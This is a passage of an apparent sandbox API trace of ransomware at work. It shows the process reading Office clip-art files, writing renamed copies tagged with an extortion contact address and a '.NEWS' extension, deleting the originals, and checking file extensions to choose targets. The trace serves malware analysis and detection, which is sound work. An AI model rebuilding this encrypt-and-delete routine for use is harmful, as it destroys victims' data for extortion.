nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1870, lpOverlapped=0x0) returned 1 [0176.995] ReadFile (in: hFile=0x550, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.995] WriteFile (in: hFile=0x51c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.995] SetEndOfFile (hFile=0x51c) returned 1 [0176.996] CloseHandle (hObject=0x51c) returned 1 [0176.996] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.996] SetEndOfFile (hFile=0x550) returned 1 [0176.998] CloseHandle (hObject=0x550) returned 1 [0176.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0177.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.000] lstrlenW (lpString=".doc") returned 4 [0177.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.000] lstrlenW (lpString=".docx") returned 5 [0177.000] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.000] lstrlenW (lpString=".pdf") returned 4 [0177.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.000] lstrlenW (lpString=".xls") returned 4 [0177.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.001] lstrlenW (lpString=".xlsx") returned 5 [0177.001] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.001] lstrlenW (lpString=".ppt") returned 4 [0177.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.001] lstrlenW (lpString=".zip") returned 4 [0177.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.001] lstrlenW (lpString=".rar") returned 4 [0177.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString=".bz2") returned 4 [0177.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString=".7z") returned 3 [0177.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.001] lstrlenW (lpString=".dbf") returned 4 [0177.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.001] lstrlenW (lpString=".1cd") returned 4 [0177.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.001] lstrlenW (lpString=".jpg") returned 4 [0177.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.001] lstrlenW (lpString=".doc") returned 4 [0177.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString=".docx") returned 5 [0177.001] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.001] lstrlenW (lpString=".pdf") returned 4 [0177.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.001] lstrlenW (lpString=".xls") returned 4 [0177.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.002] lstrlenW (lpString=".xlsx") returned 5 [0177.002] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.002] lstrlenW (lpString=".ppt") returned 4 [0177.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.002] lstrlenW (lpString=".zip") returned 4 [0177.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.002] lstrlenW (lpString=".rar") returned 4 [0177.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.002] lstrlenW (lpString=".bz2") returned 4 [0177.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.002] lstrlenW (lpString=".7z") returned 3 [0177.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.002] lstrlenW (lpString=".dbf") returned 4 [0177.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.002] lstrlenW (lpString=".1cd") returned 4 [0177.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0177.002] lstrlenW (lpString=".jpg") returned 4 [0177.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.002] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.002] lstrlenW (lpString="J0105504.WMF") returned 12 [0177.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.003] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4148) returned 1 [0177.003] CloseHandle (hObject=0x550) returned 1 [0177.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0177.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.004] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.004] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.005] GetLastError () returned 0x0 [0177.005] ReadFile (in: hFile=0x550, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1034, lpOverlapped=0x0) returned 1 [0177.027] WriteFile (in: hFile=0x51c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1040, lpOverlapped=0x0) returned 1 [0177.028] ReadFile (in: hFile=0x550, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.046] WriteFile (in: hFile=0x51c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.046] SetEndOfFile (hFile=0x51c) returned 1 [0177.046] CloseHandle (hObject=0x51c) returned 1 [0177.046] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.047] SetEndOfFile (hFile=0x550) returned 1 [0177.051] CloseHandle (hObject=0x550) returned 1 [0177.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0177.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.055] lstrlenW (lpString=".doc") returned 4 [0177.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.055] lstrlenW (lpString=".docx") returned 5 [0177.055] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.055] lstrlenW (lpString=".pdf") returned 4 [0177.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.055] lstrlenW (lpString=".xls") returned 4 [0177.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.056] lstrlenW (lpString=".xlsx") returned 5 [0177.056] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.056] lstrlenW (lpString=".ppt") returned 4 [0177.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.056] lstrlenW (lpString=".zip") returned 4 [0177.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.056] lstrlenW (lpString=".rar") returned 4 [0177.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.056] lstrlenW (lpString=".bz2") returned 4 [0177.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.056] lstrlenW (lpString=".7z") returned 3 [0177.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.056] lstrlenW (lpString=".dbf") returned 4 [0177.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.056] lstrlenW (lpString=".1cd") returned 4 [0177.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.056] lstrlenW (lpString=".jpg") returned 4 [0177.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.142] lstrlenW (lpString=".doc") returned 4 [0177.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.142] lstrlenW (lpString=".docx") returned 5 [0177.142] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.142] lstrlenW (lpString=".pdf") returned 4 [0177.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.142] lstrlenW (lpString=".xls") returned 4 [0177.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.142] lstrlenW (lpString=".xlsx") returned 5 [0177.142] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.142] lstrlenW (lpString=".ppt") returned 4 [0177.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.142] lstrlenW (lpString=".zip") returned 4 [0177.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.142] lstrlenW (lpString=".rar") returned 4 [0177.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.142] lstrlenW (lpString=".bz2") returned 4 [0177.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.143] lstrlenW (lpString=".7z") returned 3 [0177.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.143] lstrlenW (lpString=".dbf") returned 4 [0177.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.153] lstrlenW (lpString=".1cd") returned 4 [0177.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0177.153] lstrlenW (lpString=".jpg") returned 4 [0177.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.153] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.153] lstrlenW (lpString="J0105506.WMF") returned 12 [0177.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0177.365] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2912) returned 1 [0177.365] CloseHandle (hObject=0x54c) returned 1 [0177.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0177.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0177.366] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.366] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0177.368] GetLastError () returned 0x0 [0177.368] ReadFile (in: hFile=0x54c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xb60, lpOverlapped=0x0) returned 1 [0177.615] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xb70, lpOverlapped=0x0) returned 1 [0177.616] ReadFile (in: hFile=0x54c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.628] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.628] SetEndOfFile (hFile=0x3ac) returned 1 [0177.684] CloseHandle (hObject=0x3ac) returned 1 [0177.684] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.684] SetEndOfFile (hFile=0x54c) returned 1 [0177.687] CloseHandle (hObject=0x54c) returned 1 [0177.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0177.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.689] lstrlenW (lpString=".doc") returned 4 [0177.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.689] lstrlenW (lpString=".docx") returned 5 [0177.689] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0177.689] lstrlenW (lpString=".pdf") returned 4 [0177.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.690] lstrlenW (lpString=".xls") returned 4 [0177.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.690] lstrlenW (lpString=".xlsx") returned 5 [0177.690] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0177.690] lstrlenW (lpString=".ppt") returned 4 [0177.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.690] lstrlenW (lpString=".zip") returned 4 [0177.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.690] lstrlenW (lpString=".rar") returned 4 [0177.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.690] lstrlenW (lpString=".bz2") returned 4 [0177.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.690] lstrlenW (lpString=".7z") returned 3 [0177.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.690] lstrlenW (lpString=".dbf") returned 4 [0177.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.690] lstrlenW (lpString=".1cd") returned 4 [0177.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.690] lstrlenW (lpString=".jpg") returned 4 [0177.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.690] lstrlenW (lpString=".doc") returned 4 [0177.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.691] lstrlenW (lpString=".docx") returned 5 [0177.691] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0177.691] lstrlenW (lpString=".pdf") returned 4 [0177.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.691] lstrlenW (lpString=".xls") returned 4 [0177.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.691] lstrlenW (lpString=".xlsx") returned 5 [0177.691] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0177.691] lstrlenW (lpString=".ppt") returned 4 [0177.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.691] lstrlenW (lpString=".zip") returned 4 [0177.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.691] lstrlenW (lpString=".rar") returned 4 [0177.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.691] lstrlenW (lpString=".bz2") returned 4 [0177.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.692] lstrlenW (lpString=".7z") returned 3 [0177.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.692] lstrlenW (lpString=".dbf") returned 4 [0177.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.692] lstrlenW (lpString=".1cd") returned 4 [0177.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0177.692] lstrlenW (lpString=".jpg") returned 4 [0177.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.692] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.692] lstrlenW (lpString="J0105638.WMF") returned 12 [0177.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0177.693] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10364) returned 1 [0177.693] CloseHandle (hObject=0x54c) returned 1 [0177.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0177.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0177.694] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.694] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0177.695] GetLastError () returned 0x0 [0177.696] ReadFile (in: hFile=0x54c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x287c, lpOverlapped=0x0) returned 1 [0177.699] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2880, lpOverlapped=0x0) returned 1 [0177.700] ReadFile (in: hFile=0x54c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, 